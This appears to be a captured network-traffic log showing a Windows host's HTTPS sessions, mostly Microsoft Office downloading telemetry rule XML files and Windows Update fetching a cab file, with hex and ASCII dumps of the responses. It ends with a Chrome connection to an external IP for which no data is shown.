2024-12-03 14:32:56 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:57 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:57 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 709e6de4-501e-00a3-7b5b-43c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143257Z-174f7845968nxc96hC1EWRspw800000015vg0000000074v8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:57 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.9	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:58 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:58 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:58 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: eea98567-901e-007b-3159-44ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143258Z-174f7845968kvnqxhC1EWRmf3g0000000su000000000fstm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:58 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.9	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:58 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:58 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:58 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 1fa9f6de-401e-0083-0aab-43075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143258Z-174f7845968swgbqhC1EWRmnb4000000169g0000000048ma x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:58 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.9	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:58 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:59 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:59 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 0ad7255b-c01e-00ad-65a2-42a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143259Z-174f7845968zgtf6hC1EWRqd8s0000000z1g000000009ay1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:59 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.9	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:59 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:59 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:59 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: e18ed455-301e-0020-35fa-416299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143259Z-174f7845968zgtf6hC1EWRqd8s0000000yy000000000k3db x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:59 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.9	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:59 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:59 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:59 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 709a1193-501e-00a3-3559-43c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143259Z-174f7845968nxc96hC1EWRspw800000015ug000000009u3t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:59 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.9	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:00 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:00 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:00 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 2554c198-401e-005b-1ab4-439c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143300Z-174f7845968kvnqxhC1EWRmf3g0000000ssg00000000hsc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:00 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.9	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:00 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:01 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:00 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 49cafdc7-e01e-0085-2718-45c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143300Z-174f7845968cs2nkhC1EWR2tq000000001pg00000000h05h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:01 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.9	49850	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:01 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Phu5d4P1SEUzPmK&MD=N9HubRSB HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-03 14:33:01 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 80399c42-93db-4436-b33f-523ead5ef75d MS-RequestId: cc577e17-17a6-4f14-8b79-05ed7b9d25ac MS-CV: M83kC7/x0ESSoLxU.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 03 Dec 2024 14:33:00 GMT Connection: close Content-Length: 30005
2024-12-03 14:33:01 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-03 14:33:01 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.9	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:01 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:01 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:01 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 5692b7f9-f01e-00aa-21f6-418521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143301Z-174f7845968kvnqxhC1EWRmf3g0000000ss000000000m3kv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:01 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.9	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:33:01 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:33:01 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:33:01 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 2ca90ebd-d01e-0049-02f7-41e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143301Z-174f7845968qj8jrhC1EWRh41s00000016200000000080wv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:33:01 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.9	49854	101.99.88.62	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
